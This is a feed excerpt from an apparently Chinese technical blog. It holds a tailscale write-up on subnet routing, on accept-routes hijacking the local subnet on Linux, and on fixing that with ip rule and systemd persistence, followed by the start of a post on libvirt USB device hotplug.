&lt;h1 id=&quot;jie-jue-fang-an&quot;&gt;解决方案&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;bu-gai-tailscale-pei-zhi-yi-dui-duan-zuo-tiao-ban&quot;&gt;不改 tailscale 配置：以对端做跳板&lt;&#x2F;h2&gt;
&lt;p&gt;peer 的 tailscale IP（100.64.0.2）现在就能通（table 52 有路由），所以：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# TCP 服务透传
ssh -L 8080:192.168.2.1:80 user@100.64.0.2
# 通用 SOCKS 代理（任意协议）
ssh -D 1080 user@100.64.0.2
# 直接登录对端操作
ssh user@100.64.0.2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;yao-ip-ceng-tou-ming-zhi-da-subnet-router-wei-yi-de-zheng-gui-jie&quot;&gt;要 IP 层透明直达：subnet router（唯一的正规解）&lt;&#x2F;h2&gt;
&lt;p&gt;tailscale 版&quot;让对端扮演 OpenVPN server&quot;= 在对端宣告子网路由，本机接受：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 对端（能路由到 192.168.2.0&amp;#x2F;24 的节点）
tailscale set --advertise-routes=192.168.2.0&amp;#x2F;24
# 本机
tailscale set --accept-routes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;tailscale set&lt;&#x2F;code&gt; 全程&lt;strong&gt;不掉线&lt;&#x2F;strong&gt;，撤销只需把值清空。生效过程不只是用户态配置：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;用户态：两端 prefs 持久化；&lt;&#x2F;li&gt;
&lt;li&gt;控制面：对端宣告上传协调服务器，审核后把新 netmap 推给所有 peer；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;本机内核改动&lt;&#x2F;strong&gt;：192.168.2.0&#x2F;24 加入对端 AllowedIPs（本机是 wg-go 用户态持有；
内核 wireguard 模式则写入内核 wg 对象），同时 tailscaled 经 netlink 新增一条内核路由；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;对端内核改动&lt;&#x2F;strong&gt;：nftables 加 forward&#x2F;SNAT 规则，开启 ip_forward sysctl——这就是
&quot;OpenVPN server 转发角色&quot;的等价物。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;shi-zhan-keng-accept-routes-quan-liang-jie-shou-ben-wang-duan-bei-zi-shen-tong-gao-jie-chi&quot;&gt;实战坑：accept-routes 全量接受——本网段被自身通告劫持&lt;&#x2F;h2&gt;
&lt;p&gt;上面&quot;正规解&quot;要求本机开 accept-routes，但它有一个设计限制：&lt;strong&gt;接受是全量的，没有按前缀过滤&lt;&#x2F;strong&gt;。
假设本机所在网段（192.168.4.0&#x2F;22）里有两台机器同时向 tailnet 宣告了本网段（常见的冗余
subnet router 配置：两台都 advertise 192.168.4.0&#x2F;22，供远端 192.168.2.0&#x2F;24 站点访问），
本机一开 accept-routes 就会把&quot;自己所在的网段&quot;也收下来，后果：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;本机布局里 tailscale 路由在 table 52、rule 5270 先于 main 表 → 本地流量查表先命中
隧道路由 → 被劫进 tailscale0，经隧道 hairpin 到另一台广告节点再绕回本网段；&lt;&#x2F;li&gt;
&lt;li&gt;该节点一挂，本网段访问直接断；即使在线路径也畸形（绕一圈，默认 SNAT 下源地址还变成
广告节点）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;现状核验：&lt;code&gt;tailscale debug prefs&lt;&#x2F;code&gt; 的 &lt;code&gt;AdvertiseRoutes&lt;&#x2F;code&gt;、&lt;code&gt;tailscale status --json&lt;&#x2F;code&gt; 的
&lt;code&gt;Self.AllowedIPs&lt;&#x2F;code&gt;（本机自己也在宣告时可见本网段）。三种解法（按推荐序）：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;a-xuan-ze-xing-shou-gong-lu-you-bu-kai-accept-routes-shi-ce-bu-cheng-li&quot;&gt;A. 选择性手工路由——不开 accept-routes（实测：不成立）&lt;&#x2F;h3&gt;
&lt;p&gt;只加目标网段、不开 accept 的思路看起来干净：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ip r add 192.168.2.1&amp;#x2F;32 dev tailscale0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但实测包进隧道即被&lt;strong&gt;本机 wg 引擎丢弃&lt;&#x2F;strong&gt;（广告节点侧 tcpdump 全空）。原因是一个容易踩的视角陷阱：
&lt;code&gt;tailscale status --json&lt;&#x2F;code&gt; 里对端 &lt;code&gt;AllowedIPs&lt;&#x2F;code&gt; 显示包含通告（如 &lt;code&gt;&quot;192.168.2.1&#x2F;32&quot;&lt;&#x2F;code&gt;），
那是 &lt;strong&gt;netmap 视角&lt;&#x2F;strong&gt;；而 accept-routes=false 时，wireguard 引擎&lt;strong&gt;实际使用的 allowedIPs 会把
对端子网通告过滤掉&lt;&#x2F;strong&gt;，只留各 peer 的 tailscale IP。用 status json 判断&quot;wg 是否放行&quot;会误判。
所以想走 subnet router，accept-routes 这一侧绕不开。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;b-accept-routes-gao-you-xian-ji-ip-rule-ba-ben-wang-duan-bo-hui-main-shi-ce-you-xiao-tui-jian&quot;&gt;B. accept-routes + 高优先级 ip rule 把本网段拨回 main（实测：有效，推荐）&lt;&#x2F;h3&gt;
&lt;p&gt;保留 accept 的自动全量能力，用内核规则修正冲突（rule 插在 tailscale 的 5270 之前）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ip rule add pref 100 to 192.168.4.0&amp;#x2F;22 lookup main   # 先加保护，再开 accept
sudo tailscale set --accept-routes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;rule 100 先于 rule 5270 命中：本网段查表直接落到 main 表的本地直连，不进隧道；
远端 192.168.2.1&#x2F;32 不在规则内，照走 tailscale（accept 后自动装入 table 52）。
实测结果：table 52 出现 &lt;code&gt;192.168.2.1 dev tailscale0&lt;&#x2F;code&gt;，远端 ping 通（~11ms），
本地网关 ping 仍直连（0.5ms）。等于把&quot;全量接受&quot;改成&quot;按需屏蔽&quot;——以后新增的其他远端
通告仍会自动收，需要时再补规则精确屏蔽。该规则需自行持久化，tailscaled 不会清理它管理
的规则号段之外的条目：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;# &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;tailscale-protect-lan.service
[Unit]
Description=Protect local LAN subnet from tailscale route shadowing
After=network-online.target tailscaled.service
Wants=network-online.target

[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=&amp;#x2F;bin&amp;#x2F;sh -c &amp;#x27;ip rule add pref 100 to 192.168.4.0&amp;#x2F;22 lookup main 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null || true&amp;#x27;
ExecStop=&amp;#x2F;bin&amp;#x2F;sh -c &amp;#x27;ip rule del pref 100 to 192.168.4.0&amp;#x2F;22 lookup main 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null || true&amp;#x27;

[Install]
WantedBy=multi-user.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl enable --now tailscale-protect-lan.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;c-xian-ce-xin-ban-tailscaled-shi-fou-zi-dai-chong-tu-tiao-guo-5-miao-shi-yan-ke-hui-gun&quot;&gt;C. 先测新版 tailscaled 是否自带冲突跳过（5 秒实验，可回滚）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tailscale set --accept-routes
ip route show table 52              # 192.168.4.0&amp;#x2F;22 是否被装上？
journalctl -u tailscaled --since &amp;quot;1 min ago&amp;quot; | grep -i conflict   # 有 skip 日志 = 被保护
ping -c1 192.168.4.1                # 本网段网关仍直连即安全
tailscale set --accept-routes=false # 不对就立即回滚
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;新版若对与本地直连冲突的 accepted 路由自动跳过（日志可见 skip），直接 accept 即可无事。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;2026-10-07 复核（tailscale 1.102.4）：不会跳过。&lt;&#x2F;strong&gt; 重开 accept-routes，table 52
立即装回本地网段路由、无任何 skip 日志——ip rule 豁免在当前版本仍是必配项。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;pai-zhang-shi-lu-cong-xuan-gao-cheng-gong-dao-zhen-zheng-lian-tong-de-wan-zheng-lian-lu&quot;&gt;排障实录：从&quot;宣告成功&quot;到&quot;真正连通&quot;的完整链路&lt;&#x2F;h3&gt;
&lt;p&gt;本机与对端网络（headscale v0.29.3 + tailscale 1.102）实测踩坑全过程，按检查顺序：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;广告节点宣告&lt;&#x2F;strong&gt;：&lt;code&gt;tailscale set --advertise-routes=192.168.2.1&#x2F;32&lt;&#x2F;code&gt;（对端能直达该目标为前提）。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;headscale 批准&lt;&#x2F;strong&gt;：v0.29 CLI 重构后是 &lt;code&gt;headscale nodes list-routes&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;headscale nodes approve-routes &amp;lt;node-id&amp;gt; &amp;lt;prefix&amp;gt;&lt;&#x2F;code&gt;，不再有顶层 &lt;code&gt;routes&lt;&#x2F;code&gt; 命令。批准前 &lt;code&gt;Self.AllowedIPs&lt;&#x2F;code&gt; 不会出现该路由。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;勘误（2026-09-12）&lt;&#x2F;strong&gt;：&lt;code&gt;approve-routes&lt;&#x2F;code&gt; &lt;strong&gt;不接受位置参数&lt;&#x2F;strong&gt;，正确写法是 flag 形式 &lt;code&gt;headscale nodes approve-routes -i &amp;lt;node-id&amp;gt; -r &amp;lt;prefix&amp;gt;&lt;&#x2F;code&gt;（0.29.3 &lt;code&gt;--help&lt;&#x2F;code&gt; 实测：只有 &lt;code&gt;-i&#x2F;--identifier&lt;&#x2F;code&gt; 与 &lt;code&gt;-r&#x2F;--routes&lt;&#x2F;code&gt;）。&lt;code&gt;list-routes&lt;&#x2F;code&gt; 本身不带参数，写法无误。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;广告节点进入 serving 状态&lt;&#x2F;strong&gt;（本次最大暗坑）：headscale 侧已显示 Approved + Serving、
其他节点的 netmap 也已收到通告，但&lt;strong&gt;广告节点自己的 netmap 迟迟不更新&lt;&#x2F;strong&gt;——&lt;code&gt;force-netmap-update&lt;&#x2F;code&gt;
无效，&lt;code&gt;Self.AllowedIPs&lt;&#x2F;code&gt; 始终缺路由、&lt;code&gt;PrimaryRoutes&lt;&#x2F;code&gt; 为空，&lt;strong&gt;必须重启 tailscaled&lt;&#x2F;strong&gt; 才进入
serving 状态并应用 netfilter 规则。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;广告节点 netfilter 后端判定&lt;&#x2F;strong&gt;：tailscaled 日志显示 &lt;code&gt;netfilter running in iptables mode&lt;&#x2F;code&gt;——
规则在 &lt;strong&gt;iptables&lt;&#x2F;strong&gt; 而非 nftables！&lt;code&gt;nft list ruleset&lt;&#x2F;code&gt; 为空不代表没规则，误判会带偏排查。
正确查法：&lt;code&gt;iptables -S | grep ts-&lt;&#x2F;code&gt; 与 &lt;code&gt;iptables -t nat -S&lt;&#x2F;code&gt;，可见 ts-forward&#x2F;ts-input&#x2F;
ts-postrouting 链 + mark 0x40000 MASQUERADE，规则本身逻辑正确。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;访问端包是否真的进隧道&lt;&#x2F;strong&gt;（定位到本机的关键证据）：在广告节点 &lt;code&gt;tcpdump -ni any icmp&lt;&#x2F;code&gt;
抓包全空 → 包根本没到广告节点，被&lt;strong&gt;访问端本地丢弃&lt;&#x2F;strong&gt;。结合第 3 节视角陷阱定位到：
accept-routes=false 时 wg 引擎过滤对端通告，本机装 dev 路由也白搭。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;解法落地&lt;&#x2F;strong&gt;：先加 &lt;code&gt;ip rule pref 100 to 192.168.4.0&#x2F;22 lookup main&lt;&#x2F;code&gt; 保护本网段，
再 &lt;code&gt;tailscale set --accept-routes&lt;&#x2F;code&gt; → table 52 自动出现 &lt;code&gt;192.168.2.1 dev tailscale0&lt;&#x2F;code&gt;，
远端与本地 ping 同时验证通过。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;关键教训：&lt;strong&gt;&quot;宣告成功&quot;与&quot;真正连通&quot;之间隔着 5 个独立环节&lt;&#x2F;strong&gt;（宣告→批准→节点 serving→
广告节点 netfilter→访问端 accept），任一环节静默失效都不通；其中 status json 的 AllowedIPs
是 netmap 视角、accept-routes 才是 wg 引擎的开关、netfilter 后端要按日志判断——三个陷阱
分别浪费一轮排查。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2026-10-fu-fa-shi-lu-kua-zhan-dian-tong-wang-duan-xuan-gao-wang-duan-li-de-mei-tai-linux-du-hui-zhong-zhao&quot;&gt;2026-10 复发实录：跨站点同网段——宣告网段里的每台 Linux 都会中招&lt;&#x2F;h3&gt;
&lt;p&gt;架构换了个形态，坑还是同一个：家庭站 192.168.2.0&#x2F;24（KVM 宿主机 + 桥接 VM，网段被
tailnet 里的节点宣告供公司站远程访问），VM 为了走公司侧 192.168.4.0&#x2F;22 的隧道开了
accept-routes，结果把&lt;strong&gt;自己所在的 192.168.2.0&#x2F;24 也收进了 table 52&lt;&#x2F;strong&gt;——局域网流量
被劫进隧道 hairpin 到 subnet router 再绕回，宿主机 SSH&#x2F;ping VM 全部超时。&lt;&#x2F;p&gt;
&lt;p&gt;症状极具迷惑性，识别特征：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;宿主 → VM：ping&#x2F;SSH 超时；但 ARP 正常、IPv6 直连正常、tailscale IP 正常；&lt;&#x2F;li&gt;
&lt;li&gt;VM → 宿主：ping &lt;strong&gt;通&lt;&#x2F;strong&gt;（去程绕隧道、回程走 LAN 的非对称路径），延迟 1.8ms
（直连应 0.3ms）、ping 网关 TTL=63（直连应 64）——都是绕行的铁证；&lt;&#x2F;li&gt;
&lt;li&gt;双侧 tcpdump：echo request 确实到达 VM 网卡，但无任何回包——回包查表先命中
table 52 的 &lt;code&gt;192.168.2.0&#x2F;24 dev tailscale0&lt;&#x2F;code&gt;，被送进隧道发往 subnet router，
永远回不到同网段的发起者。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;&quot;&#x2F;23 短前缀宣告&quot;为什么救不了 Linux&lt;&#x2F;strong&gt;：直觉方案是把宣告改成 192.168.2.0&#x2F;23，
指望&quot;本地 &#x2F;24 更长前缀获胜&quot;。这在 Windows&#x2F;macOS 上成立（子网路由进系统常规表，
遵守最长前缀），tailscale 官方文档也正是这么建议的——但同一页随即说明 Linux 用
policy routing 引入了额外一层优先级，需配套执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ip rule add to 192.168.2.0&amp;#x2F;24 priority 2500 lookup main
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;原因：策略路由是&lt;strong&gt;逐表顺序查找、单表内才做最长前缀&lt;&#x2F;strong&gt;——查 192.168.2.x 时 rule
5270 先命中 table 52 的 &#x2F;23 即走隧道，main 表的 &#x2F;24 直连根本轮不到被查。tailscale
开发者在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tailscale&#x2F;tailscale&#x2F;issues&#x2F;1227&quot;&gt;issue #1227&lt;&#x2F;a&gt; 的原话：
&quot;the &#x27;more-specific route&#x27; trick won&#x27;t work on Linux. On that platform Tailscale
uses policy routing and puts its route into table 52.&quot;（2026-10-07 于 1.102.4 复核：
重开 accept-routes，table 52 立即装回本地网段路由，无冲突跳过日志。）另外 &#x2F;23 会
把 192.168.3.0&#x2F;24 一并拉进隧道：家里没有该网段时，公司侧访问 3.x 直接黑洞。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;ip rule 的持久化&lt;&#x2F;strong&gt;（运行时状态重启即丢，tailscaled 只管理自己 5210–5270 的 pref
段、不会恢复外部规则，必须自行落地）。首选 systemd oneshot（与方案 B 同构，pref
2500 取自官方文档示例，任何 &amp;lt; 5270 皆可）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;# &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;ts-lan-prefer.service
[Unit]
Description=Prefer direct LAN routing for 192.168.2.0&amp;#x2F;24 over tailscale policy routing
Documentation=https:&amp;#x2F;&amp;#x2F;tailscale.com&amp;#x2F;docs&amp;#x2F;reference&amp;#x2F;troubleshooting&amp;#x2F;network-configuration&amp;#x2F;lan-traffic-overlapping-subnets
After=tailscaled.service network-online.target
Wants=network-online.target

[Service]
Type=oneshot
RemainAfterExit=yes
# 幂等：ip rule add 不查重，重复执行会叠加，先 grep 判断再 add
ExecStart=&amp;#x2F;bin&amp;#x2F;sh -c &amp;quot;ip rule show | grep -q &amp;#x27;to 192.168.2.0&amp;#x2F;24 lookup main&amp;#x27; || ip rule add to 192.168.2.0&amp;#x2F;24 priority 2500 lookup main&amp;quot;

[Install]
WantedBy=multi-user.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl enable --now ts-lan-prefer.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;两个实现细节：① rule 的匹配顺序由 pref 数字决定、与添加时间无关，该单元先于
tailscaled 执行也没问题；② NetworkManager 管理的机器可用原生方式
&lt;code&gt;nmcli con mod &amp;lt;连接名&amp;gt; +ipv4.route-rules &quot;priority 2500 to 192.168.2.0&#x2F;24 table main&quot;&lt;&#x2F;code&gt;
（&lt;code&gt;ipv4.route-rules&lt;&#x2F;code&gt; 属性），随连接生命周期自动增删，无需自建单元。&lt;&#x2F;p&gt;
&lt;p&gt;最终效果（VM 实测）：accept-routes=true 保持开启——公司网段照走隧道
（&lt;code&gt;ip route get 192.168.4.1 → dev tailscale0 table 52&lt;&#x2F;code&gt;），本网段豁免直连
（&lt;code&gt;ip route get 192.168.2.100 → dev enp1s0&lt;&#x2F;code&gt;）。管理员侧宣告无需改动：纯 Linux
tailnet 保留 &#x2F;24 最简洁；有 Windows&#x2F;macOS 设备时才值得改 &#x2F;23，两种手段可叠加。&lt;&#x2F;p&gt;
&lt;p&gt;结论泛化：&lt;strong&gt;只要节点&quot;住在某个被 tailnet 宣告的网段里&quot;，开 accept-routes 前必配本网段
的 ip rule 豁免&lt;&#x2F;strong&gt;——与上文&quot;本站冗余宣告&quot;是同一机制的两个触发面。&lt;&#x2F;p&gt;
&lt;p&gt;关键认知：tailscale 接受侧没有 OpenVPN 那样的&quot;要不要这条路由&quot;细粒度控制，但内核 ip rule
可以补齐这个缺口——方案 B 就是&quot;选择性接受&quot;的内核等价物。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fu-tun-huan-shi-tap-zen-me-pan-ding&quot;&gt;附：TUN 还是 TAP，怎么判定&lt;&#x2F;h1&gt;
&lt;p&gt;排查中顺手验证 tailscale0 是 TUN（三层）不是 TAP（二层）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ ip -d link show dev tailscale0 | head -1
tailscale0: &amp;lt;POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP&amp;gt; ... tun type tun ...   # type tun = TUN
$ cat &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;net&amp;#x2F;tailscale0&amp;#x2F;type       # 65534 = ARPHRD_NONE（TUN）；TAP 会是 1
$ cat &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;net&amp;#x2F;tailscale0&amp;#x2F;tun_flags  # 0x5001：含 0x1(TUN_TUN_DEV) 无 0x2(TUN_TAP_DEV)
$ cat &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;net&amp;#x2F;tailscale0&amp;#x2F;address    # 空：TUN 无 MAC；TAP 会有
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;若用内核 wireguard（非 wg-go），&lt;code&gt;ip -d link&lt;&#x2F;code&gt; 会显示 &lt;code&gt;type wireguard&lt;&#x2F;code&gt;，丢弃判决会移交给
内核 wg 模块执行——但 AllowedIPs 的内容仍由 tailscaled 按 netmap 下发，规则始终是 tailscale 定的。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;报错根源（勘误：早先&quot;&lt;code&gt;fib_lookup&lt;&#x2F;code&gt; 只查 main 表、不跟 ip rule&quot;的归因是错的——实测 scope link 的网关路由只放 table 52、main 加 via 照样成功，说明校验走完整规则链）：添加路由时内核 &lt;code&gt;fib_check_nh_v4_gw()&lt;&#x2F;code&gt; 要求网关由 &lt;strong&gt;scope ≥ link 的 on-link 路由&lt;&#x2F;strong&gt;覆盖，tailscaled 的 peer 路由全是 &lt;code&gt;proto boot scope global&lt;&#x2F;code&gt; → 被 scope 过滤判 invalid gateway。与写进 main 还是 table 52、带不带 dev 都无关，只有显式 &lt;code&gt;onlink&lt;&#x2F;code&gt; 能绕过；对照 OpenVPN：内核 ptp 路由是 &lt;code&gt;scope link&lt;&#x2F;code&gt;，天然满足校验；&lt;&#x2F;li&gt;
&lt;li&gt;但就算消掉报错也到不了：tailscale 多对端隧道按 AllowedIPs 在用户态判决目标归属，未宣告的子网一律丢弃，&lt;code&gt;via&lt;&#x2F;code&gt; 的意图传不到隧道内部；&lt;&#x2F;li&gt;
&lt;li&gt;OpenVPN 能行是因为单 ptp 链路无判决 + server 是显式内核转发路由器；&lt;&#x2F;li&gt;
&lt;li&gt;想让 tailscale 节点扮演 OpenVPN server 的角色，唯一机制是 subnet router（advertise-routes + accept-routes），会同时改动两端的内核状态；&lt;&#x2F;li&gt;
&lt;li&gt;accept-routes 是全量接受：本网段若被其他节点宣告，一开 accept 就会收下自己的网段导致本地流量 hairpin；实测解法=先加高优先级 ip rule 把本网段拨回 main 再开 accept（&quot;选择性接受&quot;的内核等价物，含 systemd 持久化）；&quot;不开 accept 手工路由&quot;方案实测不成立——wg 引擎会过滤对端通告，且 status json 的 AllowedIPs 是 netmap 视角会误导判断；&lt;&#x2F;li&gt;
&lt;li&gt;2026-10 复发（跨站点同网段：家庭网段被宣告供公司访问，网段内的 Linux 节点开 accept-routes 即被劫持，宿主↔VM SSH 超时但 ARP&#x2F;IPv6&#x2F;tailscale 正常、回包进隧道）：&quot;&#x2F;23 短前缀宣告让本地 &#x2F;24 赢&quot;仅适用于 Windows&#x2F;macOS（常规路由表、最长前缀）；Linux policy routing 逐表顺序查找、跨表无最长前缀竞争，官方文档对 Linux 的配套解即 &lt;code&gt;ip rule pref 2500 lookup main&lt;&#x2F;code&gt; + systemd 持久化（tailscale 1.102.4 复核无自动冲突跳过）；&lt;&#x2F;li&gt;
&lt;li&gt;临时借用：ssh 跳板 &#x2F; &lt;code&gt;-L&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;-D&lt;&#x2F;code&gt;，无需动任何配置。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>libvirt USB 设备直通虚拟机：在线热插拔，不硬编码 domain XML</title>
        <published>2026-09-01T17:19:25+08:00</published>
        <updated>2026-09-01T17:19:25+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/09/libvirt-usb-device-hotplug/"/>
        <id>https://vercel.juzhong.asia/2026/09/libvirt-usb-device-hotplug/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/09/libvirt-usb-device-hotplug/">&lt;h1 id=&quot;libvirt-usb-she-bei-zhi-tong-xu-ni-ji-zai-xian-re-cha-ba-bu-ying-bian-ma-domain-xml&quot;&gt;libvirt USB 设备直通虚拟机：在线热插拔，不硬编码 domain XML&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h2&gt;
&lt;p&gt;需要把一台 Android 手机（Pixel&#x2F;Nexus，USB 连接模式为 &quot;charging + debug&quot;，即 adb 调试）直通到本机 libvirt 虚拟机（debian13 &#x2F; ubuntu26.04，均未运行）里使用。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Bus 001 Device 027: ID 18d1:4ee7 Google Inc. Nexus&amp;#x2F;Pixel Device (charging + debug)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;问题来了：直通方式一旦&lt;strong&gt;硬编码&lt;&#x2F;strong&gt;进 domain XML（&lt;code&gt;virsh edit&lt;&#x2F;code&gt; 里的 &lt;code&gt;&amp;lt;hostdev&amp;gt;&lt;&#x2F;code&gt;），下次换手机（vendor&#x2F;product 变化）就不生效，且 USB 设备不在场时 VM 启动会直接失败。有没有在线、灵活的方案？&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fang-an-re-cha-ba-vendor-product-pi-pei-bu-xie-domain-xml&quot;&gt;方案：热插拔 + vendor&#x2F;product 匹配，不写 domain XML&lt;&#x2F;h2&gt;
&lt;p&gt;核心两点：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;设备 XML 与虚拟机定义完全分离&lt;&#x2F;strong&gt;，只对运行中的 VM 生效（不 &lt;code&gt;--persistent&lt;&#x2F;code&gt; 就不落盘）；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;按 vendor&#x2F;product 匹配&lt;&#x2F;strong&gt;，而不是 bus&#x2F;device 地址——设备号（&lt;code&gt;027&lt;&#x2F;code&gt;）每次拔插都会变，vendor&#x2F;product 才是稳定标识。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;设备 XML 模板：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;!-- usb-device.xml --&amp;gt;
&amp;lt;hostdev mode=&amp;#x27;subsystem&amp;#x27; type=&amp;#x27;usb&amp;#x27; managed=&amp;#x27;yes&amp;#x27;&amp;gt;
  &amp;lt;source&amp;gt;
    &amp;lt;vendor id=&amp;#x27;0x18d1&amp;#x27;&amp;#x2F;&amp;gt;
    &amp;lt;product id=&amp;#x27;0x4ee7&amp;#x27;&amp;#x2F;&amp;gt;
  &amp;lt;&amp;#x2F;source&amp;gt;
&amp;lt;&amp;#x2F;hostdev&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;操作命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;virsh attach-device debian13 usb-device.xml   # 热插上
virsh detach-device debian13 usb-device.xml   # 热拔下
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;18d1:4ee7&lt;&#x2F;code&gt; 是 Google 设备的 &lt;strong&gt;adb 接口&lt;&#x2F;strong&gt; ID：只要是 Pixel&#x2F;Nexus 开 adb 调试就是这个组合，拔插、换 USB 口都不变（MTP 文件传输模式是另一个 ID，如 &lt;code&gt;18d1:4ee1&lt;&#x2F;code&gt;，注意区分）；&lt;&#x2F;li&gt;
